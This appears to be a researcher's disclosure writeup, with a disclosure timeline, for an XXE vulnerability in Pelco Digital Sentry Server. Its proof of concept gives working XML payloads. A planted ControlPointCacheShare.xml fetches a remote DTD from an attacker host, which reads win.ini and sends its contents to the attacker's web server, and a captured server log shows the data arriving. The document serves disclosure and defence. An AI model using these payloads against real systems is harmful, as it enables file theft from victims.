vitorespf Add files via upload History

1 contributor

75 lines (52 sloc) | 3.15 KB

```
Product Line: Pelco Digital Sentry Server
Vulnerable Version: 7.18.72.11464

Description:
-----------

The Digital Sentry Server suffers from an XML External Entity
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
ControlPointCacheShare.xml file. Writing in %appdata% doens't
require any special privileges, then the attacker could create
the file  containing the malicious payload and places in the path
'C:\Users\user\AppData\Roaming\Pelco\.'


Timeline:
---------

03/09/2019 - The vulnerability was reported.
03/13/2019 - I asked for some update.
03/13/2019 - The Schneider Electric cybersecurity team informed me that the four vulnerabilities I reported
04/15/2019 - Pelco's cybersecurity team sent me two reports from the company itself (SEVD-2019-134-02)
             with the reserved CVE ID.

05/29/2019 - I was informed that Pelco was sold and that it would be in the process of divesting from Schneider Electric.

06/20/2019 -  They introduced me to Pelco's cybersecurity team, and transferred
              the vulnerabilities I found previously, and urgently requested detailed
              updates and the next steps.

07/02/2019 - I asked again about the disclosure dates on the vulnerabilities, they didn't
             give me a precise date.

07/18/2019 - They said that the notification of the vulnerabilities was with the product manager
             for approval, and that there would be a mention in my name for having discovered the
             vulnerabilities. However, this did not occur

10/23/2019 -  I asked for some update again.

10/23/2019 - Pelco's cybersecurity team responded that they had a disclosure target for October

02/10/2021 - I was informed the vulnerabilit was fixed with
             version 7.19.67. However, I did not receive the CVE for them.



Proof-of-Concept:

1) Create a file called ControlPointCacheShare.xml in 'C:\Users\user\AppData\Roaming\Pelco\.' path.

<?xml version="1.0"?>
<!DOCTYPE vsp [<!ENTITY % one SYSTEM "http://192.168.93.131:8000/attack.xml">%one;%two;%bingo;]>
<SharedSettings>
  <Path>C:\Users\User\Desktop\device.CP</Path>
  <Enabled>True</Enabled>
</SharedSettings>

2) Put the attack.xml on the attacker's machine

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % two "<!ENTITY &#37; bingo SYSTEM 'http://192.168.93.1:8000/?%payload;'> ">

3) Run the webserver on the attacker machine: python -m SimpleHTTPServer

4) Execute the DSControlPoint.exe on the victim

5) Data retrieval

wrkxd@valhalla:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.93.1 - - [08/Jan/2019 04:59:47] "GET /xxe.xml HTTP/1.1" 200 -
192.168.93.1 - - [08/Jan/2019 04:59:47] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A
```

```
75 [Mail]%0D%0AMAPI=1%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
```